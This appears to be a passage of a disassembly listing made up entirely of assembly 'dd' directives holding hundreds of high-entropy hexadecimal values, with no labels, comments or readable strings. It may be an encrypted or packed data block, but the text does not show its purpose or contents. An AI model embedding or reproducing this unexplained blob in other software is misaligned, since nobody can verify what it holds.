		dd 0C3402D0Fh, 6A377300h, 0A53469A9h, 0EDF20774h, 0A3CB1AD5h
		dd 0B2D809E9h, 381C5985h
		dd 5C401BB5h, 3E29FAD2h, 0CB3B1DCDh, 0E5F78184h, 0F08757F1h
		dd 5E00B3ACh, 60E8E022h, 13446661h, 9F0A0h, 0EB080CCBh
		dd 2C05017Bh, 1EF5C90Ah, 99AFE280h, 77BB00BEh, 73E13BF7h
		dd 0D8003686h, 0AD595BC1h, 144352F6h, 848C6785h, 87010D39h
		dd 76C10F93h, 4AD9E8A5h, 953D3400h, 5FCAB7Fh, 4CE00F8h
		dd 8061052h, 0B0009DEDh, 4490FB30h, 146AA55h, 7AE46CF6h
		dd 0E07EECE9h, 5890B05Ch, 271D9805h, 0B04F8C5Ah, 80342BF1h
		dd 8D1E5382h, 0DC1609FFh, 94035C7Dh, 3980B163h,	0C612ED77h
		dd 6E18C732h, 3A8FE8h, 4907EF79h, 0ABB571Dh, 749D2602h
		dd 46F5B914h, 0AC2310E4h, 8CB82415h, 0BF7CF087h, 0C8C034A4h
		dd 3D645739h, 488376h, 0C0F0D001h, 0FC423655h, 0D4006DABh
		dd 8904432Bh, 0E99CD2h,	531AF43Ch, 0BD9792Eh, 2208CA00h
		dd 0F06B1F37h, 3C05077Ah, 5051EAD2h, 0C2EEFE72h, 7C069400h
		dd 0B9752281h, 627D0044h, 854E415Bh, 9100A87Eh,	1DB348B5h
		dd 3C1F9A9Eh, 4001956h,	6F3A05F6h, 0BD50835Bh, 54912ED0h
		dd 2CB23900h, 0F5A6E60h, 247BF832h, 1937C781h, 0ADECCF2h
		dd 80641238h, 0ABB3B815h, 0F565A1h, 22BA9D30h, 4EB0F0A6h
		dd 6C39200Fh, 0BCA980B7h, 61DC3Eh, 41FB5A0h, 0C7E2FC2Dh
		dd 80EEF439h, 2B7E51C8h, 6F3DEDh, 69338F30h, 0C1585A90h
		dd 0EE3E39h, 787299C4h,	0F638B184h, 83742441h, 36980024h
		dd 6BB5D750h, 0EE9DFE02h, 40E09B9Eh, 0F449630Ch, 0BD6238B8h
		dd 0E607DDBFh, 91E7C0h,	216E6BC3h, 5FF27278h, 800CD7Eh
		dd 1DFE6362h, 9AD4B013h, 0A11103ACh, 0C0D3CD1Ch, 0E4EB53F8h
		dd 92EE53Bh, 9894A99Ah,	0BE549Ch, 0F208CBC5h, 0E81C5BBBh
		dd 3189048h, 31FF9284h,	808FB35Dh, 0EB11Ah, 0AD37B323h
		dd 7B9BFDD7h, 0DC09C304h, 0E8CC295Eh, 3BF50B49h, 69871070h
		dd 8128B2D4h, 863CBC60h, 80B1F038h, 212AE503h, 0A87747A9h
		dd 0FB678Ch, 0ED6BFF57h, 0DA3BD087h, 7D149700h,	0C6C58911h
		dd 63CE0BF6h, 350043F7h, 93C10DEDh, 0FA0045E4h,	85619FBBh
		dd 0A3E37Ah, 4DCFC52Ah,	210594Eh, 79524000h, 0BAC087C1h
		dd 91200F8h, 413BAEFBh,	4F1460BFh, 0CA22D1h, 72B411C8h
		dd 3CA827CEh, 73806820h, 0B161569Ch, 0D400B59Fh, 0E982D165h
		dd 7A30ADAh, 0F8641F14h, 3BD31075h, 7C039143h, 168F33E5h
		dd 0BE81F849h, 29740734h, 0D3D53858h, 0D8003EF6h, 5BC33C13h
		dd 1CCCB88Eh, 0E4F382B9h, 27620070h, 0E8FEC535h, 302D8A7h
		dd 805E4318h, 0CA0649ACh, 2B9400A0h, 0ABC3B8Bh,	1CEEB6A8h
		dd 0A419F328h, 590BFA17h, 321BE81Fh, 43E8E889h,	0B822006Dh
		dd 756534EBh, 26008A4Ah, 0F3021ADBh, 7A6159Ah, 13A9CE6Eh
		dd 4FCCA1EDh, 0F0D05CF2h, 7757F00h, 0FC1FA5C4h,	0C90E001Dh
		dd 0CD34C8CCh, 6000C277h, 8E2717BBh, 7425E218h,	0BC3E4AE4h
		dd 897A3823h, 808029B4h, 3BF9CA61h, 0B0A20F5Eh,	0C240F173h
		dd 6972F685h, 0C0B4EE0Eh, 906E00D6h, 1DE8A471h,	0DC7DFC2Eh
		dd 38BBC5ABh, 57008C0Ah, 1FF00D00h, 0DD3D6580h,	9C78005Fh
		dd 61794B34h, 4E091351h, 1D6AFA5h, 56722BA0h, 0A1A01C00h
		dd 7423300Ch, 68FF51EDh, 0B8AC81h, 94F6733Dh, 62008886h
		dd 0E893EE4Fh, 0FAD04DAh, 2B0C36F9h, 4090E187h,	5D4CFBCCh
		dd 79457507h, 5895FA9Eh, 443AC400h, 2EC671B1h, 9FD4BF6Ch
		dd 0FB4F00A0h, 9D90FC2Ch, 1E415602h, 40B1E8DFh,	580500h
		dd 0F5D17FD3h, 592BAA0Fh, 0F200FB7Bh, 0BF060771h, 1B7ED8Ch
		dd 3AC91C85h, 246A902Fh, 0D7484FA8h, 7798128Bh,	90BEDC09h
		dd 480106A0h, 9201ECAEh, 41968A59h, 0F1D8FCA6h,	0F9BF0900h
		dd 1C6E676Ah, 0BB3A0153h, 0FD7669B8h, 62DC2088h, 0E15D7000h
		dd 1B10C114h, 13BF0096h, 0AD5EE802h, 0D079334h,	1936DF82h
		dd 31306A20h, 0B1771A6h, 1B94558Eh, 92B30F00h, 9107F750h
		dd 47142C5Ah, 988DD480h, 469A00F4h, 0EA4C208Ah,	25FE5CF2h
		dd 0DAF31101h, 0A8E635EDh, 392C1EBAh, 0CE710031h, 0F8B23DFDh
		dd 81F98600h, 7B0DE763h, 0D80500D1h, 0CE2012AFh, 0F304C843h
		dd 2C574F1Bh, 7840A4C7h, 9B0B7Ah, 0B83D3FEDh, 0B217A3C4h
		dd 0A6C97202h, 40C2C555h, 378A62h, 0EFD6AD9Ah, 0D740310Dh
		dd 0F9DC20FBh, 28C5101h, 2C6AF043h, 961B70h, 23C82D31h
		dd 2FFC0D14h, 0CB04FF00h, 0D1EA7B73h, 0F4B30F76h, 7440CFDBh
		dd 0EB4675B6h, 0DFF5D507h, 0EDB02BAFh, 0EC5A8C4Eh, 8410242Dh
		dd 6B010C66h, 31003970h, 4290EA16h, 2A211541h, 710DC79h
		dd 0D161EABh, 7E6AA086h, 0C2002A91h, 95F00BDEh,	20CCABF1h
		dd 94380AB0h, 8D3960B9h, 0BED904h, 59E28983h, 881C9E1h
		dd 0ACF0F81Ch, 0E51F7700h, 9C2BADh, 6F0F91B7h, 0E2E0661Bh
		dd 212E44B2h, 5C1908D4h, 0ADCC2B50h, 0E18903BBh, 0FB6C25D9h
		dd 20012970h, 19F5E938h, 0C406730h, 31CDF7E8h, 8988D48Fh
		dd 2668D041h, 0F4DC7E14h, 13AB1554h, 92960070h,	8D4E222Ah
		dd 2F5B3B3Dh, 0E5CC2800h, 95321BAFh, 21503000h,	0B9F9AC3Ah
		dd 4F2526C9h, 71F074Ah,	0F1388099h, 28014A0Fh, 44D851F2h
		dd 9050EB49h, 0A8B696h,	0FB94752Eh, 0C53F4ED6h,	0B92A51Dh
		dd 0E96C5D40h, 3A1CEBB6h, 98393E17h, 0DB9B6580h, 2A345FF1h
		dd 0FE8E4E11h, 0C760A409h, 9BEF3840h, 59E55106h, 1E21DD24h
		dd 40EB89A2h, 2726AF74h, 0E0F03A91h, 0EAA04E02h, 40AABB30h
		dd 1355800h, 0DACED93h,	0D1DFF7C7h, 0AF8BE8D7h,	9404F92Ah
		dd 0E25813Ch, 0A092E8A6h, 96F54705h, 0A02058CDh, 96A7F00h
		dd 5AAAA7EAh, 5F801261h, 0E74E21h, 7F75E8A0h, 67F074CFh
		dd 7BFEBC01h, 0D9FCEF3Ah, 0FEE40E8h, 0E7AF88C8h, 584BB342h
		dd 138EC080h, 120C01FAh, 8868BC38h, 0E3103D8h, 5E23D2AEh
		dd 16C06900h, 7C22DE3Fh, 1DC7799Eh, 0BD91AA3Ah,	93015385h
		dd 0A1EE80CBh, 4600F674h, 0D5A8D057h, 60DE78h, 5E2A4086h
		dd 8E8D89EBh, 349DA507h, 1BB04EB8h, 0D61DF8h, 897FE2C9h
		dd 0B46E1A8h, 0F78F2500h, 227DFD14h, 8D7526h, 0C7DB8C1Fh
		dd 83DEFC1Bh, 2B52EA00h, 18A2F7A9h, 60106060h, 6BC936AEh
		dd 35FFD01h, 0C3B7F5Dh,	0C0F1CBD0h, 0C9383520h,	0A200321Eh
		dd 83F61CDDh, 482A82D7h, 0B53FA507h, 56C43603h,	0B0001146h
		dd 204028F7h, 382358D3h, 0EF03EDB6h, 22D756BFh,	0E23BA800h
		dd 32850B1h, 0FC4B0107h, 0D7706A46h, 0EADFF869h, 0D97D210Bh
		dd 71E907AFh, 0B9CE4CC0h, 0F40E30AAh, 4490AD40h, 37B7F917h
		dd 18E23D00h, 553A94h, 0B83B02CEh, 5D23470Ah, 56299200h
		dd 2EF1C5EEh, 96F28A8h,	0EC580084h, 0EB159EB2h,	955C78BDh
		dd 0D3CF0036h, 0D7E924EDh, 0E5D5382Dh, 7AEE4E81h, 0E819052Eh
		dd 3913B8FFh, 400AF27h,	981AAB46h, 0D94E1783h, 682E00F9h
		dd 10A099F5h, 82CBD600h, 0D026F418h, 1307F2EDh,	0A8DA7Ch
		dd 7A2BA970h, 0FF1C32D6h, 0E0C05CFDh, 0CB3AB186h, 0C6CC0004h
		dd 0A2B4DFAFh, 0C01CD11Ch, 9880D547h, 4A6B2C59h, 66FF0716h
		dd 9039F654h, 0EBAD0C1Eh, 0E01EEB8h, 0B7870BF5h, 43D6E6A9h
		dd 0B08EE364h, 4917FFh,	0AA3E2E5Eh, 8C10D1ADh, 0C97AC202h
		dd 0C0ECF35Fh, 14EBAC49h, 64972384h, 0C4A18800h, 0F4C13977h
		dd 0E622AB00h, 0D44DC914h, 29630126h, 0DE537D16h, 0AACAC8C4h
		dd 996939C0h, 238554h, 6708F1E3h, 44098EE4h, 429BD101h
		dd 5DA24B91h, 0C2BDCC0h
		dd 0C5AE3989h, 4D72617Eh, 0AE98E01h, 64E63A6Bh,	550F9440h
		dd 0CD17B52h, 0A175F62Dh, 20E38A68h, 24004F74h,	43DF255Ah
		dd 0DA5906h, 0D46EB3B9h, 88B43414h, 0C0D37200h,	73BFF098h
		dd 80C40015h, 0D01B873Ah, 0B2002775h, 9B881368h, 637262h
		dd 46D2172Eh, 0BEE47F97h, 0B8254A3Fh, 2AB900F6h, 0A5DC4CDDh
		dd 36A00046h, 0EAD85EE5h, 0F700F112h, 1163F02Bh, 0E698D93h
		dd 0F42167F2h, 6E1DDA60h, 0D43A9BF5h, 0D22B0032h, 0AD0BB166h
		dd 70430655h, 84013AFh,	20FA6B30h, 0F0A406h, 3859C494h
		dd 13439EB8h, 634D6C00h, 0FA832BC2h, 3DE70E8h, 393CFE85h
		dd 181D2809h, 398890Ah,	0D74669h, 0BDFC2133h, 0C06F1DE5h
		dd 0DB037B7Eh, 0B327BC6Ah, 48F6B0h, 46E3E77Dh, 0FFC56CF7h
		dd 500E8F8h, 0A36856E0h, 71A2F29h, 0DF8C6270h, 0BD60506Ch
		dd 7E00E21Dh, 0F9C4B537h, 0F287874h, 6F1CA392h,	0D611EA40h
		dd 0F5EA95A4h, 61BF0801h, 165C3D86h, 81A170h, 0C5986C4Fh
		dd 8EB7C939h, 66321D00h, 1CF01E4Bh, 0F58201E1h,	0D2274C2Ch
		dd 0A440D47Bh, 0C2C7810Eh, 0C0700FCBh, 0F3243BCh, 425C00F0h
		dd 0B3A82DB4h, 0B724C0D8h, 80187172h, 0D3F908h,	0B5CDB44Fh
		dd 446C9DBCh, 9DB6DD3Ah, 70800CE4h, 3CE2E83Fh, 35B70095h
		dd 671BCCEEh, 7F0F2CC2h, 0E05F0D8Bh, 0AA4E1E92h, 0B170880h
		dd 0FB0D78A2h, 79C82067h, 6DF81C22h, 9B0181ACh,	0F9FF779Fh
		dd 4F854068h, 0B700076Eh, 43A6F7ABh, 0FE4CD442h, 7F5B0117h
		dd 21464912h, 3A4D06Dh,	0B3A730C0h, 10900Fh, 6B9EC001h
		dd 2C69D5DBh, 17CF5F01h, 0CACCED35h, 7C2785F0h,	0B459C0A7h
		dd 0FB93FC4h, 958CDE54h, 0A5ADD4A0h, 0B05FEF03h, 80DFDC8h
		dd 8C765D90h, 0A12B1640h, 8BEF104Fh, 21818C3Fh,	0F5A0025h
		dd 0C3E1F3C2h, 0C907AA19h, 1A0291A3h, 0FD7B3303h, 872D2082h
		dd 67803FCCh, 0B02CA4BFh, 8E8F01D6h, 84EC4D42h,	20FBDC1Fh
		dd 0D22DE100h, 0B2E0251Eh, 829100BEh, 47DE1559h, 110037D7h
		dd 918636Ah, 2CD19BACh,	0B167AFh, 0CF0F6C4Ah, 88077B04h
		dd 5ECD7E74h, 9FB36810h, 0FDF70072h, 0F599D41Dh, 0CC028843h
		dd 682EC1EAh, 57B1400Ah, 7DDE00CFh, 0E135E0B4h,	0BE1CAD81h
		dd 9600DB6Dh, 0A3067C63h, 0F693B8B1h, 70A2390Ch, 0E9652E87h
		dd 80B3B02Fh, 45B06F8Ah, 5A4D0500h, 1F0294DEh, 0CE9A00C6h
		dd 6D8C7D1Ch, 0DC0003F6h, 9F5BDAE4h, 3860915Ch,	44801FA0h
		dd 3F5FB7C1h, 0F4001485h, 0F2B5FD73h, 17C96A6h,	0FAC079DCh
		dd 0ECA2844Dh, 82003F44h, 53147F2Bh, 7271A9h, 0F3CA5286h
		dd 6CE5B497h, 4F7AA000h, 44651A76h, 0DE3A0158h,	0DF79C61Ch
		dd 0B782D020h, 0A8BF3201h, 2B1EA2E8h, 7EADFB70h, 2E570321h
		dd 5EEFEB36h, 0ACA601C0h, 1001E4B8h, 284AE89Eh,	26F1CE9Bh
		dd 51614880h, 0DE2A56D3h, 44001D70h, 0DFECD36h,	24326h
		dd 32C6B0FBh, 0BB2DD5FDh, 6EAA4A00h, 0E53C970h,	4160002Ch
		dd 86BA63ECh, 8100D8B4h, 4E2683E1h, 60B3505Dh, 36ED2062h
		dd 0DA3C7A1Ch, 0BE768461h, 0C1808682h, 0D31567h, 0F7970E2Eh
		dd 409385EAh, 0D2537507h, 0DEC03072h, 1F62F432h, 4EEA434Fh
		dd 60A0E638h, 14B46561h, 803ECC01h, 89090E58h, 0C2FCD0h
		dd 6D43602Fh, 0F24E1A30h, 9ECEA500h, 0D11EC183h, 0CA30134h
		dd 931CFF10h, 6480EA6Bh, 155BA243h, 11FD1337h, 88B7E700h
		dd 0EE2906EAh, 8017672h, 3D216560h, 87B74Dh, 6DB4A915h
		dd 0B2D711D6h, 1FF5E00Ch, 218F502Ch, 3900FC44h,	0D8478860h
		dd 227C42C6h, 0E4AB00BFh, 7CB53B7h, 0AF03C5FFh,	75384B42h
		dd 29F90046h, 5E4C5208h, 6F0A12DAh, 5C3BD4EFh, 3CA465Ch
		dd 23B42AA2h, 3789D09Fh, 19170E12h, 45202FDDh, 0C63542A5h
		dd 0C9304900h, 17CEDA70h, 0FDD200C3h, 630F1553h, 0A900CFEBh
		dd 865526D0h, 1DBCCDAEh, 42E4E62Dh, 6FFD1E1Ch, 40A31461h
		dd 0A8DC22D5h, 8AF7B00h, 256790F9h, 0B0BC0019h,	2D359C57h
		dd 55B01E65h, 0F385FC00h, 0F6B5BEF5h, 0A51201D8h, 0C6EEB649h
		dd 1565D8E7h, 1B634F00h, 89393125h, 5A7100DFh, 0F85BA370h
		dd 0E3E6BEEh, 0A25600EFh, 0DB3D8C12h, 7751017Ah, 0C5FA6E2Bh
		dd 0E176603Fh, 78EED3Dh, 0CBDA1E2h, 0DE3C5AE0h,	0C15F869h
		dd 83167322h, 0B7038E11h, 78A0CF6Dh, 2790C0D5h,	7AC500BFh
		dd 94426114h, 0AC98EC2Fh, 0EA6B9700h, 0C66A9695h, 9BB00DEh
		dd 0D5476478h, 741E0D45h, 0BA1922h, 2A1290F0h, 0CFD981h
		dd 0D3A8040Ch, 19F44942h, 0F8001A7Dh, 396FDCA7h, 756951Bh
		dd 5C9EEC9Ch, 0B60D60D9h, 0BC2C3778h, 921EB3C6h, 304B3340h
		dd 0EEDFEE4h, 0D67B7738h, 6EDBF740h, 0AD005AB3h, 0EBBB6B82h
		dd 4827C5h, 7F7B6034h, 0AA5212A1h, 7500B498h, 0B420ED81h
		dd 731A22h, 0E2BC8ACEh,	792E454Eh, 47099500h, 51D8AD3Eh
		dd 883500DCh, 3C6A69FFh, 0ED5A27A6h, 93034EACh,	0BDEB8DE4h
		dd 38B74D8h, 2A3A1A00h,	1037DBDCh, 41930053h, 0F372FD0Bh
		dd 7CE425A9h, 0D7A42700h, 60AC2E9Dh, 5A090017h,	6646F06Dh
		dd 0B2003085h, 0F85DC0FCh, 0FBEFCFh, 611123DCh,	60076501h
		dd 341C9B1Eh, 15D8A800h, 0D44329h, 276EEB0Fh, 95022211h
		dd 5B90C67Bh, 0B19FD07h, 9001238h, 8CDCBAh, 0EEC4DED5h
		dd 428B55C1h, 0F6F0C48h, 277A25FFh, 3757C252h, 0CD92F160h
		dd 61E907A9h, 0F072BA5Bh, 863CD818h, 0F9F5D501h, 6B842C29h
		dd 7463C8h, 83758E2Dh, 0E91C65FCh, 4A95E800h, 0AA26DA08h
		dd 19910285h, 92D4A486h, 2271A40h, 0DFCF2F03h, 1D3ABC2Eh
		dd 1E70E28h, 6F2C861Ah,	844B0091h, 0DFC61EBFh, 0DB96C0D9h
		dd 9370D226h, 0F1D150CFh, 0BD14EF0Ch, 10E99E28h, 0C2D506D6h
		dd 63494150h, 2ACB9301h, 5690788Ch, 30317A29h, 6C83509Ch
		dd 14977994h, 1FE42C0Ch, 0E5445EA0h, 0F65C2017h, 0C95BFB30h
		dd 0D7CD995h, 0B6226C8h, 0F3C6EC79h, 64401F81h,	0C67EC087h
		dd 7808E628h, 0A1E6987Fh, 0D2222260h, 0F8EDCE84h, 0FAEF009Bh
		dd 6AAD3BDCh, 0FCF74323h, 0D3389A02h, 0F6FC808Bh, 0B692A0A1h
		dd 7D0D0F79h, 18C36E4Ah, 3BA04C1Eh, 0A200F8C3h,	0B985C683h
		dd 0DD2CD4h, 0BFDA1CE4h, 0B0CCE10h, 303CA900h, 70311289h
		dd 0C3C800A8h, 9CA6304h, 0DA02208Ch, 0E865F69Eh, 0BC2CC06Bh
		dd 13E4CCh, 867C0FEh, 0A5C2539Dh, 3F98F600h, 64434B89h
		dd 5EB704AEh, 80732174h, 0D129C4B8h, 67886C00h,	0FB4D9312h
		dd 5B160094h, 0EC61F1A5h, 86003E9Dh, 55323BB9h,	0EC39F26h
		dd 81279330h, 8DA5EBC0h, 0DBA02903h, 600DB9Bh, 73A72C55h
		dd 791F89h, 36ABCFBAh, 0D3FE2E7Ch, 0CE003076h, 0ECB35958h
		dd 0DDEEAEh, 6A44BC0Fh,	0FB611CA7h, 69C12700h, 924EAC20h
		dd 0EF040050h, 54B96403h, 0F5003DE3h, 1A5BE114h, 572184h
		dd 0A7018C04h, 2A434563h, 8D546600h, 2E8628EAh,	0A68F0053h
		dd 0E4F9AFF5h, 0AD0133CEh, 0DA7F27C3h, 994041F0h, 1ABCA79h
		dd 0F78A2E6Eh, 9C37C121h, 7AC0B030h, 0F5CBCF3h,	0E1FB0001h
		dd 19FC9D97h, 0CA00E43Ch, 0BFAC2718h, 129D67Fh,	0B3624236h
		dd 60BD02D5h, 9300E03Eh, 0D8E53989h, 1F31AE1h, 52487704h
		dd 0C82C1667h, 0F20053EDh, 0F9077A1Fh, 3FD971h,	1DCC3751h
		dd 0E49404FBh, 5B01A21Fh, 0C697F45Fh, 62BF7700h, 35223DAEh
		dd 8AE910h, 0F31484F0h,	0A500E528h, 89C076F2h, 12293568h
		dd 1E9C891h, 72674440h
		dd 0F4A1E9D7h, 0F2EE4FA3h, 372DD00Bh, 0B80E01E2h, 0E1F807D4h
		dd 34D756Ah, 206BE382h,	0F1A03ED8h, 841744E4h, 0D101912Fh
		dd 0A97CA6E7h, 0C697D8h, 55A23996h, 0A7319A1Fh,	7F155F00h
		dd 0BD859B54h, 0B4F40070h, 58282FA9h, 82EEC189h, 4E48D900h
		dd 25F52EFCh, 392C00CAh, 5DB9287Dh, 0AC0996D7h,	802A1608h
		dd 0D3024BD6h, 0ECCA0066h, 71B56839h, 9D00CD0Eh, 8E25EBE7h
		dd 0F5F722h, 4B2ACA6Ah,	0E91805Dh, 41239F09h, 0BF5C045Ch
		dd 4320B818h, 0BCDC8B16h, 4288A100h, 0DACEFAh, 59CDB2Fh
		dd 0F8C5B714h, 4B00D9E4h, 86A9EB0Ch, 0CD9D22h, 41C32CF0h
		dd 48F3951Fh, 44005872h, 16D85ACCh, 65DF25h, 9A43103h
		dd 0D973EC3Ah, 0F8A5990Eh, 0FD54281h, 0D8CA404Ch, 0C64B00FFh
		dd 0A268D3C0h, 42006B7Ah, 0A70FC9F7h, 1F38AE9h,	0D4E19B13h
		dd 0E874257Ch, 0B80F732Fh, 80426D43h, 0F44C86AFh, 0FFCB00DEh
		dd 0A1D301CDh, 0F8E08D02h, 0AFFC4600h, 0C7A4C1B2h, 0F2D70027h
		dd 76A7DBEh, 3C014C28h,	36FD4F94h, 0FAFDAB39h, 0FA1B7620h
		dd 296600A0h, 4E8374EDh, 0F90F68B4h, 67348875h,	0A16E1714h
		dd 0B25FE336h, 673AC0h,	0F208947Bh, 12E4AA53h, 2B7D707h
		dd 24122EBEh, 7D0460ACh, 0D1DA1F98h, 14103099h,	0A2004ECAh
		dd 8642E7FAh, 0C8272Fh,	3D8FDCA3h, 32843795h, 0B8099400h
		dd 7D0639ABh, 22CE1E1Dh, 4011DD07h, 0C9BAE50Dh,	1A00A42Fh
		dd 16EBAC02h, 0E8C2541h, 0A7542623h, 3900C38Bh,	0CAE1662Dh
		dd 49D1E800h, 0A9936F90h, 3B7A47h, 0CDD59821h, 0DE4CEAABh
		dd 0C7402300h, 58A4AF55h, 613F0044h, 685333A0h,	190005D8h
		dd 0C75E9ED3h, 3E482Bh,	7C60974Dh, 0E6EA1645h, 7005298h
		dd 68F378CAh, 148A9ABh,	0A7593B3Dh, 0C83A3437h,	8C004F88h
		dd 7D968DDCh, 9B5614h, 0B77490E8h, 7CA1E7F6h, 0CF008CECh
		dd 3B315483h, 7BDD65E1h, 420C01AEh, 8B0BA2AFh, 284F8D0h
		dd 99783600h, 0C2507BFAh, 0C84C00DDh, 0BC9E25D6h, 0F2E42E07h
		dd 969C7303h, 0DBB5048Eh, 92D3B0E5h, 0A1D10091h, 58F226E4h
		dd 2100BEBBh, 0C6194266h, 161F56Dh, 59F3F141h, 0FC1A2848h
		dd 0BE00BC1Fh, 0FF874C71h, 7AAACBh, 69C65A93h, 0C4DA452Bh
		dd 0A62D700h, 13837782h, 207D00D6h, 0FE0E96A5h,	44B0261Dh
		dd 0FF785F24h, 99F59400h, 56CB8C5h, 0C184D575h,	6303BE46h
		dd 0BDE86088h, 87F5BE00h, 0F48ACEh, 0C28019E3h,	0AD2A5F5Eh
		dd 0CABB7D01h, 2E25B699h, 16AD3ECh, 3E6C8984h, 0F0B87E74h
		dd 1E00BA36h, 0B6A2E05Bh, 5E3328h, 0DE62F37Dh, 7A702B37h
		dd 0FAC23803h, 8881E6h,	14632C20h, 2D291994h, 99FBDB00h
		dd 9DEE82C3h, 95B20FB4h, 14005205h, 2F555CA3h, 0E91CAA98h
		dd 3B804390h, 7F99F417h, 182E0ADh, 7976E46Fh, 0D6B35310h
		dd 57D75B40h, 0E1E85F00h, 0FA1F4618h, 65070068h, 1C4F7313h
		dd 0D2008F35h, 800D951Eh, 0D51B85h, 2CFCE119h, 0BE0C1F18h
		dd 0AC00F375h, 0F7DC2B57h, 766DCCh, 5EEB69B9h, 0C69960BFh
		dd 0F89A700h, 0AE5C4E66h, 5F270090h, 3277E97Eh,	0F7003147h
		dd 74FAAF0Dh, 7A7803Eh,	6A30AD12h, 65EE90BDh, 0BF00F2FBh
		dd 963AC4FCh, 0D02AB7h,	0BC2875F8h, 0B63F89B0h,	0FA1AEE07h
		dd 7C508F3Bh, 0F34ECh, 5F35C44Eh, 0A280523Fh, 705E4800h
		dd 0C2CB4A8Fh, 0D75C003Bh, 249B23C8h, 6F005DADh, 0B4504B7Eh
		dd 1C9939h, 0F63ADFEFh,	8EAC86Eh, 0B39C0D03h, 42608Dh
		dd 0F73D9720h, 21761F26h, 152B6201h, 296F51E4h,	1EC5AFCh
		dd 0D60EF38Eh, 60E8EDCFh, 0C40048B4h, 32E28BA4h, 0B718CCh
		dd 4417DA79h, 491C3513h, 2E8C1F01h, 0F3BC04DBh,	39936C4h
		dd 396FB543h, 0E8E831E6h, 0A8C049AFh, 0EFE0332Bh, 7D728Ah
		dd 80377620h, 0D22AEED1h, 3BE7F200h, 0B60FFF04h, 7FCC011Eh
		dd 0E519C5E6h, 0A7102034h, 0AA3FA2EEh, 5C8000E3h, 362AF3B5h
		dd 9221C85h, 0EBB40084h, 646E270Ch, 0F14BF417h,	0CB350BEBh
		dd 10280000h, 0EF00A3A0h, 72534FECh, 0D08815h, 0FDEB25B7h
		dd 0DCDE1016h, 0F6F75000h, 21ACB526h, 38AA00EDh, 0AB6B9B8Fh
		dd 11004CDBh, 6F2789FAh, 1DE703h, 6A343EE5h, 36616C7Fh
		dd 40AFB300h, 0C67145B0h, 0DAF400E4h, 16E635Dh,	0D64C99DCh
		dd 82D43060h, 110249h, 0E99EBBD5h, 0BE1BFE03h, 51B64800h
		dd 0CA97EF3Eh, 7590C6h,	0DE1C14C4h, 2A1F93B4h, 0D7E55B1Eh
		dd 92D33F5Dh, 8F5A2600h, 0D3DEF6h, 936CD2F4h, 0D024EF04h
		dd 2341B00h, 0A4B331BBh, 3CDA0026h, 93358D55h, 1217F727h
		dd 0E800949Fh, 0AE6631BAh, 9899004Bh, 1325B1E2h, 7E00601Eh
		dd 0FDECD0B4h, 0EE3F12Eh, 0EBB7451Fh, 0C5968E7Dh, 10F7C720h
		dd 3F73D16Bh, 86B03D00h, 0BC4DE8A6h, 9C7293h, 69DBF68h
		dd 91C0295h, 5C72920Fh,	83CB4013h, 61C1ADh, 0AE8BB7DCh
		dd 0EAA37D1Bh, 0F839A8FCh, 0E5C701B1h, 50A9C297h, 613CD8h
		dd 0B521F570h, 0D17FE8B2h, 4028F4F4h, 400B09Ah,	0F096208Dh
		dd 0A327BEh, 0DAF7CEB8h, 9EB68432h, 0D6570B00h,	0FB808CC3h
		dd 48C11F4Bh, 0B46ABAh,	0F296DF81h, 3F8EBC31h, 80B8A377h
		dd 2072307h, 95DF3C48h,	0D83DF3B0h, 39F720A1h, 5F80E73Ah
		dd 0FB141E4h, 0A2142EB8h, 2A0BB1Bh, 0EA5C644h, 80844251h
		dd 0BE77D68Ah, 1C870014h, 9CB00692h, 1B3B0D66h,	0DF5C42h
		dd 3613D98h, 0BA2BE9Dh,	0B87FB5D8h, 0B940330Eh,	3C8490EDh
		dd 43037EC0h, 0F148C5h,	59A71AF0h, 6A66FDCBh, 0EA503600h
		dd 0BFED9705h, 0EA65B842h, 8A5403DEh, 0E7E83F1Dh, 0B94CE0E7h
		dd 442CB088h, 8205902Ah, 802826CFh, 0FA84B0ADh,	8D570020h
		dd 0E9D5A230h, 0DF000E11h, 183735CDh, 0BA25C4h,	8350AEA0h
		dd 27746CF9h, 71618105h, 688088D3h, 0ED4E70h, 0D6E9FE62h
		dd 3CC5B7F7h, 5F127500h, 0FADDA07h, 0B19025h, 388A442Ah
		dd 4F238359h, 2D1AFA0Eh, 675FA06Dh, 0C7BCA8h, 6F35F116h
		dd 0DE549F82h, 7E025673h, 0DA5B51B7h, 0CCA44012h, 0F2860048h
		dd 3F5EE7D8h, 0C800FDFAh, 413C7C65h, 322198h, 2A8120CAh
		dd 7DEC1184h, 0A892FA60h, 0A9DBA1h, 2632C6D2h, 693835FEh
		dd 0C7AF0E1Ch, 0A0395980h, 71EF7Dh, 0E0FBA322h,	0A74E64C3h
		dd 2B16700h, 0F85E1284h, 0E4DB0905h, 4465573h, 0DF073E00h
		dd 0B3C1895Ah, 38A2428Ch, 8E03F9F0h, 0E2758DF1h, 0FC1A0016h
		dd 0E412AB86h, 190060D1h, 0D4DC3211h, 0EE5742h,	0D8626823h
		dd 7AE74803h, 0FCA8DFA3h, 1025FACFh, 23087C1Ah,	15F980ECh
		dd 0FCBC9340h, 0A5BD9002h, 6072B212h, 0CB1974h,	6A419DF3h
		dd 0FEB6EF2h, 0D2E6FC2Eh, 4944F802h, 54ACE0C9h,	9FF30B94h
		dd 68A33A1Ch, 7C81BB0Ch, 88670E8h, 0ED930700h, 2BC389D2h
		dd 0B7650FA6h, 5BE0DDFCh, 0E48603A9h, 2228B103h, 0A125CD35h
		dd 0A03A4737h, 0DB1C2422h, 0A2921288h, 0A8E84100h, 612FF9h
		dd 4AAF44D2h, 9F6CC258h, 5FA1FA00h, 4F5728D6h, 77001FBh
		dd 0E3EA99E9h, 0E40AF443h, 0BA74900h, 93592B6Bh, 446C1995h
		dd 0D00410F8h, 0ED00E50Eh, 7B257AC4h, 2E27797h,	7108E1E4h
		dd 0BC40CEC0h, 0A44BB6A9h, 0DFCE030h, 70541CE6h, 8305816Dh
		dd 0C85BD301h, 0DCFF1DEDh, 761CC568h, 800376Ah,	0C3308943h
		dd 2B121749h, 0A3F0024h, 0C0BA3D15h, 5626B600h,	0CC78FAAEh
		dd 0D9E73AA5h, 5CD5AC00h, 0C7AD3743h, 5B2FD00h,	0B4B517B6h
		dd 87F50015h, 0C48A1091h
		dd 340045F8h, 3BCC58F3h, 47DDCAh, 0AB2BF1ECh, 8C4041F7h
		dd 92213Bh, 75650CA4h, 98D70257h, 9555CE9h, 97002539h
		dd 49F1B48Ch, 2A00B9B0h, 7FBB8809h, 785BE1h, 2D056F94h
